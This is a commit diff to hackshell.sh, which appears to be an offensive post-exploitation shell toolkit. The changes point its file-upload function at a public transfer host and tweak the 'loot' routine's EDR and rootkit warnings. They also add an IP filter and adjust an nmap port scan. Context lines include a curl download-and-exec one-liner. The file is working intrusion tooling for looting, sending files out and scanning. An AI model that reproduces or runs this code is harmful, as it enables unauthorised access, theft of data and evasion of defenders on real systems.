Skip to content

Commit b5025fa

Browse files
committed
sf clean
1 parent fb83744 commit b5025fa

File tree

1 file changed

+16
-5
lines changed

1 file changed

+16
-5
lines changed

hackshell.sh

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -395,7 +395,8 @@ xor() {
395395
xorpipe() { xor "${1:-0xfa}" | sed 's/\r/\n/g'; }
396396

397397
# HS_TRANSFER_PROVIDER="transfer.sh"
398-
HS_TRANSFER_PROVIDER="oshi.at"
398+
# HS_TRANSFER_PROVIDER="oshi.at"
399+
HS_TRANSFER_PROVIDER="bashupload.com"
399400

400401
transfer() {
401402
local opts=("-SsfL" "--connect-timeout" "7" "--progress-bar" "-T")
@@ -426,6 +427,8 @@ command -v shred >/dev/null || shred() {
426427
rm -f "${1:?}"
427428
}
428429

430+
command -v strings >/dev/null || strings() { perl -nle 'print $& while m/[[:print:]]{8,}/g' "$@"; }
431+
429432
bounceinit() {
430433
[[ -n "$_is_bounceinit" ]] && return
431434
_is_bounceinit=1
@@ -1403,8 +1406,10 @@ lootlight() {
14031406
echo -e "${CN}"
14041407
}
14051408
1406-
_warn_edr
1407-
_warn_rk
1409+
[ ! -d /sf ] && {
1410+
_warn_edr
1411+
_warn_rk
1412+
}
14081413
}
14091414
14101415
_lootmore_last() {
@@ -1964,6 +1969,11 @@ ${CY}>>>>> ${CDC}curl -obash -SsfL '$str' && chmod 700 bash && exec ./bash -il"
19641969
hs_init_dl
19651970
}
19661971
1972+
# Filter: Show only IPv4 addresses
1973+
ipf() {
1974+
grep --color=never -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
1975+
}
1976+
19671977
# Show CN and SAN of remote server
19681978
cn() {
19691979
local str
@@ -1997,7 +2007,7 @@ _scan_single() {
19972007
19982008
[ -f "$2" ] && opt=("-iL" "$2")
19992009
# Redirect "Unable to find nmap-services" to /dev/null
2000-
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
2010+
nmap -Pn -p"${1}" --open -T4 --max-retries 3 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
20012011
}
20022012
20032013
# scan <port> <IP or file> ...
@@ -2166,7 +2176,8 @@ hs_init_alias
21662176
hs_init_shell
21672177
21682178
[ -z "$QUIET" ] && {
2169-
xhelp
2179+
echo -e ">>> Type ${CDC}loot${CN} or ${CDC}xhelp${CN} to get your started"
2180+
# xhelp
21702181
21712182
### Finishing
21722183
echo -e ">>> Type ${CDC}xhome${CN} to set HOME=${CDY}${XHOME}${CN}"

0 commit comments

Comments
 (0)